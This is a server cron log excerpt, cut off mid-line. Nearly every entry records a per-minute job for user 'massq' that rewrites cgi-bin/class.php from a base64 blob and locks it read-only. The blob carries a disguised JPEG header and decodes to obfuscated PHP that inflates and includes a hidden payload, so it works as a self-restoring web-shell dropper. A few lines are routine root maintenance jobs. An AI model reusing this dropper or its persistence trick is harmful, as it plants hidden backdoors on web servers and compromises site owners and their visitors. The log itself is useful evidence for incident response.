Apr  6 05:15:01 server CROND[16090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:16:01 server CROND[16276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:17:01 server CROND[16337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:18:01 server CROND[16405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:19:01 server CROND[16529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:20:01 server CROND[16595]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 05:20:01 server CROND[16596]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 05:20:01 server CROND[16598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 05:20:01 server CROND[16597]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 05:20:01 server CROND[16599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:21:01 server CROND[16813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:22:01 server CROND[16875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:23:02 server CROND[16952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:24:01 server CROND[17016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:25:01 server CROND[17082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 05:25:01 server CROND[17083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:25:01 server CROND[17081]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 05:26:01 server CROND[17304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:27:01 server CROND[17373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:27:01 server CROND[17374]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 05:28:01 server CROND[17436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaU